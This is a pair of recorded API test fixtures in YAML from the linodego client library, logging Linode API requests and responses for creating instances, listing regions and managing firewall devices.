Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "206" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:46 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls/692862/devices/1464173 method: GET response: body: '{"id": 1464173, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "entity": {"id": 61874173, "type": "linode", "label": "go-test-ins-z2rj698v4z2r", "url": "/v4/linode/instances/61874173"}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "206" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:46 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/networking/firewalls/692862 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:46 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - firewall:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61874173 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:46 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestFirewallDevices_List.yaml000066400000000000000000001064361474652371000323650ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-den-edge-1", "label": "Edge - Denver, CO", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "de-ham-edge-1", "label": "Edge - Hamburg, DE", "country": "de", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "fr-mrs-edge-1", "label": "Edge - Marseille, FR", "country": "fr", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "za-jnb-edge-1", "label": "Edge - Johannesburg, ZA\t", "country": "za", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "my-kul-edge-1", "label": "Edge - Kuala Lumpur, MY", "country": "my", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "co-bog-edge-1", "label": "Edge - Bogot\u00e1, CO", "country": "co", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "mx-qro-edge-1", "label": "Edge - Quer\u00e9taro, MX", "country": "mx", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "us-hou-edge-1", "label": "Edge - Houston, TX", "country": "us", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "cl-scl-edge-1", "label": "Edge - Santiago, CL", "country": "cl", "capabilities": ["Linodes", "Cloud Firewall", "Distributed Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.223.100.53, 173.223.101.53", "ipv6": "1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "distributed"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 34}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 25 Jul 2024 17:44:42 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - account:read_write databases:read_write domains:read_write events:read_write firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write volumes:read_write vpc:read_write X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-mu576a68cw3h","root_pass":"Q!L7sr#''jRXx8A-6h8$D(KHh7.c`E+7|KA90o|6jRY7Po5u.4c@\u003ePe233rd-6{aH","image":"linode/debian9","booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 61874172, "label": "go-test-ins-mu576a68cw3h", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["192.46.210.43"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "site_type": "core", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "d946738609b866787b882e81aabef414a072050a", "has_user_data": false, "placement_group": null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, 